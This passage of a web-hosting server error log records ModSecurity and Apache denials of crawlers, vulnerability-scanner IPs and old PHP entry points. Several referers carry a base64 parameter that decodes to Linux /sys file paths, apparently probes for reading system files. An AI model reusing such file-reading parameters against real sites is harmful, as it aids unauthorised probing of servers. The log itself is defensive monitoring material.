"ai3yMimiP80klyS0NnoS1AABbhA"] [Sat Jun 13 18:13:38.774153 2026] [access_compat:error] [pid 531155:tid 531279] [remote 57.141.14.82:49230] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:38.774408 2026] [access_compat:error] [pid 531155:tid 531279] [remote 57.141.14.82:49230] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:38.834456 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.44:20523] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:38.834923 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.44:20523] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:38.925393 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:13:38.925690 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:13:39.013233 2026] [security2:error] [pid 531155:tid 531185] [remote 17.22.237.73:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yMymiP80klyS0NnoS6QABVh0"] [Sat Jun 13 18:13:39.019583 2026] [security2:error] [pid 531155:tid 531341] [client 114.119.128.58:62089] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.allmattingsolutions.com.au"] [uri "/resources/Uploadvideo/gipertoniia_vysokoe_davlenie_lechit_legko_18.xml"] [unique_id "ai3yMymiP80klyS0NnoS6gAAAUI"], referer: http://asung-tech.net/userData/ebizro_board/faktorakh_riska_arterialnoi_gipertenzii_72.xml [Sat Jun 13 18:13:39.121012 2026] [security2:error] [pid 531155:tid 531229] [remote 17.241.219.176:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yMymiP80klyS0NnoS7wABOUk"] [Sat Jun 13 18:13:39.164937 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.37:58066] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:39.165216 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.37:58066] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:39.456339 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:39.456636 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:39.653741 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.67:62667] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:39.654016 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.67:62667] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:39.665621 2026] [security2:error] [pid 531155:tid 531217] [remote 110.249.201.107:57394] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "taracom.net"] [uri "/pll/"] [unique_id "ai3yMymiP80klyS0NnoTFgABGT0"] [Sat Jun 13 18:13:39.714829 2026] [security2:error] [pid 531155:tid 531262] [remote 17.246.15.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yMymiP80klyS0NnoTGgABK2o"] [Sat Jun 13 18:13:39.985420 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:13:39.985779 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:13:40.061149 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.90:41216] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:40.061438 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.90:41216] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:40.062103 2026] [access_compat:error] [pid 531155:tid 531247] [remote 57.141.14.67:62675] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:40.062499 2026] [access_compat:error] [pid 531155:tid 531247] [remote 57.141.14.67:62675] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:40.220544 2026] [security2:error] [pid 531155:tid 531199] [remote 17.22.253.155:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 155.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yNCmiP80klyS0NnoTOgABTys"] [Sat Jun 13 18:13:40.323585 2026] [security2:error] [pid 531155:tid 531182] [remote 74.7.243.201:51836] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.243.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "onemontgomerygreen.org"] [uri "/index.php/wp-json/wp/v2/tags/1963"] [unique_id "ai3yNCmiP80klyS0NnoTQgABcho"], referer: https://onemontgomerygreen.org/calendarevents/tag/food-justice/day/2026-11-16/ [Sat Jun 13 18:13:40.417960 2026] [access_compat:error] [pid 531155:tid 531234] [remote 57.141.14.104:52896] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:40.418245 2026] [access_compat:error] [pid 531155:tid 531234] [remote 57.141.14.104:52896] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:40.473144 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvUE5QMEMwRjowYQ== [Sat Jun 13 18:13:40.473573 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvUE5QMEMwRjowYQ== [Sat Jun 13 18:13:40.661574 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.77:57489] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:40.662040 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.77:57489] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:40.775296 2026] [security2:error] [pid 531155:tid 531282] [remote 17.246.23.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yNCmiP80klyS0NnoTWQABEX4"] [Sat Jun 13 18:13:40.888982 2026] [security2:error] [pid 531155:tid 531164] [remote 17.241.75.55:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 55.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yNCmiP80klyS0NnoTYAABKAg"] [Sat Jun 13 18:13:41.049309 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:13:41.049769 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:13:41.183671 2026] [security2:error] [pid 531155:tid 531210] [remote 17.241.219.108:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yNSmiP80klyS0NnoTawABDjY"] [Sat Jun 13 18:13:41.189163 2026] [security2:error] [pid 531155:tid 531206] [remote 57.141.14.100:54829] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 100.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yNSmiP80klyS0NnoTbQABaDI"], referer: https://nelsonfarmstn.com/product/lavender-chamomile/?add_to_wishlist=1255&_wpnonce=a9376aed05&add-to-cart=1259 [Sat Jun 13 18:13:41.238594 2026] [access_compat:error] [pid 531155:tid 531169] [remote 57.141.14.110:53816] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:41.239068 2026] [access_compat:error] [pid 531155:tid 531169] [remote 57.141.14.110:53816] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:41.256961 2026] [security2:error] [pid 531155:tid 531157] [remote 17.246.23.36:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yNSmiP80klyS0NnoTdAABbwE"] [Sat Jun 13 18:13:41.483310 2026] [security2:error] [pid 531155:tid 531407] [client 114.119.155.200:48929] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.sureseal.com.au"] [uri "/ssp/albums/album-8/hr"] [unique_id "ai3yNSmiP80klyS0NnoTfwAAAYQ"], referer: http://www.sureseal.com.au/ssp/albums/album-8/hr?C=D%3BO%3DA [Sat Jun 13 18:13:41.522335 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:41.522624 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:41.693948 2026] [security2:error] [pid 531155:tid 531191] [remote 17.246.23.105:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 105.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yNSmiP80klyS0NnoTiQABXCM"] [Sat Jun 13 18:13:41.704143 2026] [security2:error] [pid 531155:tid 531334] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/class_object/property_exists_error.phpt"] [unique_id "ai3yNSmiP80klyS0NnoTiwAAATs"] [Sat Jun 13 18:13:41.719794 2026] [access_compat:error] [pid 531155:tid 531273] [remote 57.141.14.40:63110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:41.720068 2026] [access_compat:error] [pid 531155:tid 531273] [remote 57.141.14.40:63110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:41.746578 2026] [access_compat:error] [pid 531155:tid 531219] [remote 57.141.14.36:23704] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:41.746865 2026] [access_compat:error] [pid 531155:tid 531219] [remote 57.141.14.36:23704] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:41.804114 2026] [security2:error] [pid 531155:tid 531373] [client 114.119.148.1:53511] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.mlvt-dsc.info"] [uri "/4673"] [unique_id "ai3yNSmiP80klyS0NnoTkQAAAWI"], referer: https://www.mlvt-dsc.info/4554 [Sat Jun 13 18:13:42.009396 2026] [security2:error] [pid 531155:tid 531161] [remote 17.22.237.106:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 106.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg 